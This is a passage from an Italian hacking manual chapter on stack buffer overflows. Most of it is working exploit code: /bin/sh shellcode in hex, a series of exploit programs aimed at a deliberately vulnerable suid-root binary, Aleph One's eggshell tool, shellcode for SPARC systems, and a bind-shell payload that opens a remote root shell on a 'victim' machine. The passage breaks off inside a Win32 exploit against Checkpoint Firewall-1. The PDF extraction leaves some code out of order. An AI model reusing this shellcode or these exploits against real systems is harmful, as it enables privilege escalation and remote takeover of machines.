ritorno dentro a un registro. Listruzione CALL pu semplicemente chiamare linizio del nostro codice seguente. Assumiamo ora che J stia per listruzione di JMP, C per listruzione CALL, ed infine s per la stringa:
base della DDDDDDDDEEEEEEEEEEEE memoria 89ABCDEF0123456789AB buffer <-----EEEE CDEF fp FFFF 0123 ret FFFF 4567 a FFFF 89AB b FFFF CDEF c cima della memoria

[JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) cima dello dello stack

base stack

Il tutto visto in assembler jmp popl movl movb movl movl movl leal offset-to-call # %esi # %esi,array-offset(%esi) # $0x0,nullbyteoffset(%esi)# $0x0,null-offset(%esi) # $0xb,%eax # %esi,%ebx # array-offset,(%esi),%ecx # 2 1 3 4 7 5 2 3 bytes ------------\ byte <----\ | bytes | | bytes | | bytes | (2) | bytes | | bytes | | (1) bytes | |

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


leal null-offset(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 call offset-to-popl /bin/sh va qui. # # # # # # 3 2 5 5 2 5 bytes | | bytes | | bytes | | bytes | | bytes | | bytes ----/ <-----/

Calcolando tutti gli offset in base alla lunghezza delle istruzioni, abbiamo: jmp 0x26 popl %esi movl %esi,0x8(%esi) movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 call -0x2b .string \"/bin/sh\" # # # # # # # # # # # # # # # 2 1 3 4 7 5 2 3 3 2 5 5 2 5 8 bytes byte bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes

Il nostro codice modifica se stesso, ma la regione TEXT (in cui si trova il codice) e' marcata READ-ONLY da quasi tutti i sistemi operativi. Per risolvere il problema possiamo inserire tutte le istruzioni allinterno di un array che viene posizionato nel segmento DATA. Come nellesempio in cui avevo mostrato lesecuzione del codice inserito dentro ad un array dinteri, allinizio di questo capitolo, anche in questo caso avremo la necessit di trovare gli OPCODE per eseguire lassegnazione dellarray. Prima scriviamoli in assembler dentro ad un programma in C e poi usiamo GDB per vederli : shellcodeasm.c ---------- snip ---------void main() { __asm__(" jmp 0x2a popl %esi movl %esi,0x8(%esi) movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 call -0x2f .string \"/bin/sh\" "); } ---------- snip ---------Ed ecco il debugging: $ gcc -o shellcodeasm -g -ggdb shellcodeasm.c

# # # # # # # # # # # # # # #

3 1 3 4 7 5 2 3 3 2 5 5 2 5 8

bytes byte bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes bytes

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: jmp 0x800015f <main+47> 0x8000135 <main+5>: popl %esi 0x8000136 <main+6>: movl %esi,0x8(%esi) 0x8000139 <main+9>: movb $0x0,0x7(%esi) 0x800013d <main+13>: movl $0x0,0xc(%esi) 0x8000144 <main+20>: movl $0xb,%eax 0x8000149 <main+25>: movl %esi,%ebx 0x800014b <main+27>: leal 0x8(%esi),%ecx 0x800014e <main+30>: leal 0xc(%esi),%edx 0x8000151 <main+33>: int $0x80 0x8000153 <main+35>: movl $0x1,%eax 0x8000158 <main+40>: movl $0x0,%ebx 0x800015d <main+45>: int $0x80 0x800015f <main+47>: call 0x8000135 <main+5> 0x8000164 <main+52>: das 0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp 0x8000168 <main+56>: das 0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55> 0x800016b <main+59>: addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 - mostra il valore esadecimale del byte che forniamo come argomento 0x8000133 <main+3>: 0xeb (gdb) 0x8000134 <main+4>: 0x2a (gdb) La procedura deve essere ripetuta per tutto il codice.
testsc.c char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *return; return = (int *)&return + 2; /* in effetti aggiunge 8 byte = 2 integers */ /* ricordatevi sempre la struttura dello stack, e che un int e' composto di 4 byte. Questa istruzione in effetti fa puntare return all'indirizzo di RET in memoria (che si trova 8 byte dall'inizio della variabile puntatore *return...lo so che e' un asino...beccatevi sto diagrammino (ogni spazio equivale a 1 byte): return fp RET [ ][ ][ ] ^ ^ |--8 byte---| (*return) = (int)shellcode; /* fa puntare RET al nostro shellcode, eseguendolo a tutti gli effetti */

*/

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


} ---------- snip ----------

$ gcc -o testsc testsc.c $ ./testsc $ exit $ A questo punto sostituiamo le istruzioni che corrispondono a 0, per il problema di cui abbiamo discusso prima, con altre che non costituiscano un problema:
Istruzione da cambiare: Sostituire con: -------------------------------------------------------movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------movl $0xb,%eax movb $0xb,%al -------------------------------------------------------movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax

A questo punto il codice diventato: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; Il sistema di buffer overflow permette di creare una shell con diritti di root in quanto applicati a dei programmi che vengono eseguiti con diritti di root. -rwsr-xr-x 1 root root 30520 May 5 1998 vulnerable

Il flag S allinterno dei flags delle permissions indica che il file pu essere eseguito da chiuqnue ma con diritti dei proprietari dei files, in questo caso root. Questo e' a volte necessario ad alcuni programmi per aggiornare file di sistema scrivibili solo da root o per accedere, ad esempio, alla mailbox dell'utente. Per questo quando exploitiamo un file suid root, la shell che esso esegue e' di root. A questo punto creiamo appositamente un programma vulnerabile ad un overflow e vediamo di riuscire a creare un exploit. Chiaramente un programma creato apposta per essere explotato facilita la vita cosa che con un altro software in cui non sappiamo dove va a finire il codice la questione sicuramente pi complessa.
exploit1.c ---------- snip ---------char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; /* riempiamo completamente il nostro buffer (large_string) con l'indirizzo /* il buffer */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


di buffer */ for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; /* posizioniamo lo shellcode all'inizio del nostro buffer */ strcpy(buffer,large_string); /* il RET viene sovrascritto con l'indirizzo di buffer, che contiene il nostro shellcode , che viene eseguito */ } ---------- snip ----------

$ gcc -o exploit1 exploit1.c $ ./exploit1 $ exit $ Le cose nella realt sono pi complesse in quanto con un altro programma non sappiamo dove il buffer si trova in memoria. Il fatto dindovinare dove si trova il buffer pu essere facilitato da alcuni metodi comunque in ogni caso va sempre a fortuna a meno che non facciamo come abbiamo visto nei capitoli in cui parlavamo dei programmi usati dai crackers e disassembliamo i programmi a casa nostra. Come abbiamo detto prima sappiamo che tutti i programmi possiedono lo stack che inizia sempre allo stesso indirizzo. Ora scriviamo un piccolo programmino vulnerabile, rendiamolo suid root, e tentiamo di exploitarlo: vulnerable.c ---------- snip ---------void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); /* guarda dove scrivi, cazzone! :) */ } ---------- snip ---------exploit2.c ---------- snip ---------#include <stdlib.h> #define DEFAULT_OFFSET #define DEFAULT_BUFFER_SIZE 0 512

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n");

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


exit(0); } addr = get_sp() - offset; /* l'indirizzo a cui si SUPPONE che il nostro codice si trovera' */

printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; */ for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* copia lo shellcode nel nostro buffer */ buff[bsize - 1] = '\0'; */ putenv(buff); */ system("/bin/bash"); /* vulnerabile } ---------- snip ---------*/ /* che useremo poi come argomento al programma /* per bloccare la copia da parte di strcpy */ /* riempie il nostro buffer con quell'indirizzo

memcpy(buff,"EGG=",4); /* mette il tutto in una variabile d'ambiente $EGG

Il programma accetta come argomento loffset a cui pensiamo si possa trovare il buffer. Mediante diversi tentivi vediamo di trovare dove si trova. $ ./exploit2 500 Using address: 0xbffffdb4 $ ./vulnerable $EGG Segmentation Fault $ ./exploit2 600 Using address: 0xbffffdb4 $ ./vulnerable $EGG Illegal instruction ........................ $ ./exploit2 600 1564 Using address: 0xbffff794 $ ./vulnerable $EGG # Questo non e' un processo molto efficiente....sculando un po' si potrebbe azzeccare l'offset con 200 tentativi, ma nella maggior parte dei casi ce ne vorranno un migliaio. Possiamo per cercare di limitare i tentivi utilizzando listruzione assembler NOP. Come abbiamo gi visto nei capitoli legati allassembler questa istruzione considerata come istruzione NULLA ovvero quando il processore la incontra passa a quella successiva sennza fare nulla. Ora se noi riempiamo il nostro buffer di questi NOP significa che se lindirizzo di ritorno cadr su una di queste istruzioni questa non verr eseguita e il tutto passer avanti. buffer fp ret a b c [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^----> | |_____________________| Ecco un nuovo exploit che utilizza questa tecnica: exploit3.c ---------- snip ---------#include <stdlib.h>

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

#define DEFAULT_OFFSET #define DEFAULT_BUFFER_SIZE #define NOP

0 512 0x90

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } oid main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) con NOP */ buff[i] = NOP; /* riempie meta' del nostro buffer

ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* e l'altra meta' con lo shellcode... */ buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash");

} ---------- snip ---------$ ./exploit3 612 Using address: 0xbffffdb4 $ ./vulnerable $EGG # Come avrete potuto vedere in questo caso si azzeccato il tutto al primo tentativo. In ogni caso i problemi non sono del tutto terminati. Potremmo trovarci davanti al problema di avere a disposizione uno spazio troppo piccolo per inserirci una quantit di codice eccessiva.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Anche in questo caso, una soluzione c'e', ma bisogna avere accesso alle variabili d'ambiente del programma. Metteremo lo shellcode in una di queste variabili, e riempiremo il piccolo buffer con l'indirizzo (presunto) di questa variabile in memoria. Questa tecnica e' molto efficiente, poiche' possiamo usare anche variabili molto grandi (leggi: un grosso numero di NOP), che aumentano esponenzialmnte le nostre possibilita'. Le variabili d'ambiente sono poste in cima allo stack quando il programma e' lanciato (vedi diagramma all'inizio). Il nostro programma di exploit richiedera' quindi un'altra variabile, la grandezza del buffer che contiene shellcode e NOP). exploit4.c ---------- snip ---------#include <stdlib.h> #define #define #define #define DEFAULT_OFFSET DEFAULT_BUFFER_SIZE DEFAULT_EGG_SIZE NOP 0 512 2048 0x90

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); /* variabile d'ambiente con i NOP e lo shellcode */ putenv(egg); memcpy(buff,"RET=",4); /* variabile d'ambiente che contiene il RET */ putenv(buff); system("/bin/bash"); } ---------- snip ---------$ ./exploit4 768 Using address: 0xbffffdb0 $ ./vulnerable $RET # Gli offset possono essere positivi o negativi.. dipende da quanti "dati d'ambiente" il nostro programma ha rispetto a quello vulnerabile. Prendete i sorgenti. Essedo Linux free, troverete i sorgenti di qualsiasi cosa, basta cercare un po'. E una volta trovati i sorgenti, cercate chiamate alle funzioni strcat(), strcpy(), sprintf(), and vsprintf(), che basandosi su stringhe terminate da ZERO, non controllano che il buffer che le riceve sia abbastanza grande da contenerle. Controllate se il programma fa qualche tipo di "sanity check" prima di copiare, e controllate se l'argomento che viene copiato puo' in qualche modo essere inserito dall'utente, attraverso la linea di comando ad esempio, o attraverso una variabile d'ambiente (vedi exploit per DOSEMU).

I tre punti fondamentali di un buffer overflow


Indipendentemente da tutto il resto possiamo aprire una nota per specificare quelli che sono i tre punti chiave di un buffer overflow. Generalmente abbiamo visto che esistono due punti chiave e precisamente il codice da eseguire e lindirizzo di ritorno. La sovrapposizione dellindirizzo di ritorno abbiamo detto che serve a fare in modo che quando questo viene ripristinato il tutto salta a livello di esecuzione al codice asembler da noi scritto. La difficolt che abbiamo visto estere di fatto quella di indovinare il punto preciso di dove il salto deve essere esguito in quanto se questo non fosse perfetto il sistema si bloccherebbe o perlomeno creerebbe dei problemi di esecuzione. Listruzione NOP non viene eseguita per cui linserimento di un numero sufficientemente grande di questi NOP permetterebbe al programma di eseguire un atterraggio morbido nel caso in cui lindiirizzo non sia preciso. Per cui i punti chiave sono : Numero di NOP Codice assembler Indirizzo di ritorno Alla fine di questi capitoli vedremo come questi tre insiemi di dati possono essere manipolati per passare sotto i sistemi IDS.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book Shell code per diversi sistemi operativi


i386/Linux -----------------------------------------------------------------------------jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" -----------------------------------------------------------------------------SPARC/Solaris -----------------------------------------------------------------------------sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 -----------------------------------------------------------------------------SPARC/SunOS -----------------------------------------------------------------------------sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 -----------------------------------------------------------------------------shellcode.h -----------------------------------------------------------------------------#if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax");

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


} #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif -----------------------------------------------------------------------------eggshell.c -----------------------------------------------------------------------------/* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include <stdlib.h> #include <stdio.h> #include "shellcode.h" #define DEFAULT_OFFSET #define DEFAULT_BUFFER_SIZE #define DEFAULT_EGG_SIZE void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); 0 512 2048

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


exit(0);

if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell <offset>]\n"); }

[-a

<alignment>]

[-b

<buffersize>]

[-e

<eggsize>]

[-o

Esempio di exploits con shellcode. La seguente shellcode crea un socket di ascolto sulla porta 36864 e avvia una shell, redirigendo standard input, output ed error sul socket stesso. Una volta corrotto il buffer e sovrascritto l'indirizzo di ritorno, con un semplice programma che si connette al socket si ottiene una shell remota sulla macchina vittima.
#include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x72" /* socket() */ "\x5e" "\x29\xc0" "\x89\x46\x10" "\x40" "\x89\xc3" "\x89\x46\x0c" "\x40" "\x89\x46\x08" "\x8d\x4e\x08"

/* jmp callz */ /* popl %esi */ /* subl %eax, %eax */ /* movl %eax, 0x10(%esi) */ /* incl %eax */ /* movl %eax, %ebx */ /* movl %eax, 0x0c(%esi) */ /* incl %eax */ /* movl %eax, 0x08(%esi) */ /* leal 0x08(%esi), %ecx */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


"\xb0\x66" "\xcd\x80" /* bind()*/ "\x43" "\xc6\x46\x10\x10" "\x66\x89\x5e\x14" "\x88\x46\x08" "\x29\xc0" "\x89\xc2" "\x89\x46\x18" "\xb0\x90" "\x66\x89\x46\x16" "\x8d\x4e\x14" "\x89\x4e\x0c" "\x8d\x4e\x08" "\xb0\x66" "\xcd\x80" /* listen() */ "\x89\x5e\x0c" "\x43" "\x43" "\xb0\x66" "\xcd\x80" /* accept() */ "\x89\x56\x0c" "\x89\x56\x10" "\xb0\x66" "\x43" "\xcd\x80" /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */ "\x86\xc3" "\xb0\x3f" "\x29\xc9" "\xcd\x80" "\xb0\x3f" "\x41" "\xcd\x80" "\xb0\x3f" "\x41" "\xcd\x80" /* execve() */ "\x88\x56\x07" "\x89\x76\x0c" "\x87\xf3" "\x8d\x4b\x0c" "\xb0\x0b" "\xcd\x80" /* callz: */ "\xe8\x89\xff\xff\xff" "/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize =atoi(argv[1]); if (argc > 2) offset =atoi(argv[2]); if (!(buff =malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr =get_sp() - offset; ptr =buff; addr_ptr =(long *) ptr; for (i =0; i < bsize; i+=4) *(addr_ptr++) =addr; for (i =0; i < bsize/2; i++) buff[i] =NOP; ptr =buff + ((bsize/2) - (strlen(shellcode)/2)); for (i =0; i < strlen(shellcode); i++) *(ptr++) =shellcode[i]; /* movb $0x66, %al */ /* int $0x80 */ /* /* /* /* /* /* incl movb movw movb subl movl %ebx */ $0x10, 0x10(%esi) */ %bx, 0x14(%esi) */ %al, 0x08(%esi) */ %eax, %eax */ %eax, %edx */ /* movl %eax, 0x18(%esi) */

/* movb $0x90, %al */ /* movw %ax, 0x16(%esi) */ /* leal 0x14(%esi), %ecx */ /* movl %ecx, 0x0c(%esi) */ /* leal 0x08(%esi), %ecx */ /* movb $0x66, %al */ /* int $0x80 */ /* /* /* /* /* movl %ebx, 0x0c(%esi) */ incl %ebx */ incl %ebx */ movb $0x66, %al */ int $0x80 */

/* movl %edx, 0x0c(%esi) */ /* movl %edx, 0x10(%esi) */ /* movb $0x66, %al */ /* incl %ebx */ /* int $0x80 */ /* xchgb %al, %bl */ /* movb $0x3f, %al */ /* subl %ecx, %ecx */ /* int $0x80 */ /* movb $0x3f, %al */ /* incl %ecx */ /* int $0x80 */ /* movb $0x3f, %al */ /* incl %ecx */ /* int $0x80 */ /* movb %dl, 0x07(%esi) */ /* movl %esi, 0x0c(%esi) */ /* xchgl %esi, %ebx */ /* leal 0x0c(%ebx), %ecx */ /* movb $0x0b, %al */ /* int $0x80 */ /* call start */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


buff[bsize - 1] ='\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); }

Lo stack inizia per ogni programma allo stesso indirizzo. La maggior parte dei programmi non impilano pi di qualche centinaio o migliaio di byte sullo stack. Quindi, sapendo dove inizia lo stack si pu provare ad indovinare dove si trovi il buffer. Il programma prende come parametri una dimensione di buffer e un offset dallo stack pointer e prova ad indovinare esattamente dove sia l'indirizzo d'inizio del codice. Un modo per aumentare le nostre probabilit di riuscita consiste nel riempire l'inizio del buffer con istruzioni NOP, cio, l'operazione nulla. Si riempie per met il buffer, si mette il codice della shell al centro e poi l'indirizzo di ritorno. Se l'indirizzo di ritorno punta in mezzo alle operazioni NOP, queste vengono eseguite e poi viene eseguito il codice. Assumendo che S stia per il codice della shell, N per l'istruzione NOP, lo stack si presenta come segue:

Una buona scelta per la dimensione del buffer 100 byte pi del buffer vittima. Questa scelta posiziona il codice alla fine del buffer, lasciando ampio spazio per le operazioni NOP, ma permette ancora di sovrascrivere l'indirizzo di ritorno con quello indovinato. La stringa per creare l'overflow viene inserita nella variabile di ambiente EGG. Qui a seguito potete vedere un esempio di exploit che utilizza questo metodo dei NOP.
/* badboy.c - Win32 Checkpoint Firewall-1 overflow exploit by Indigo <indigo@exploitingstuff.com> 2001 Usage: badboy <victim port> The shellcode spawns a shell on the chosen port Main shellcode adapted from code written by izan@deepzone.org Greets to: Morphsta, Br00t, Macavity, Jacob & Monkfish...Not forgetting DNiderlunds */ #include <windows.h> #include <stdio.h> int main(int argc, char **argv) { unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


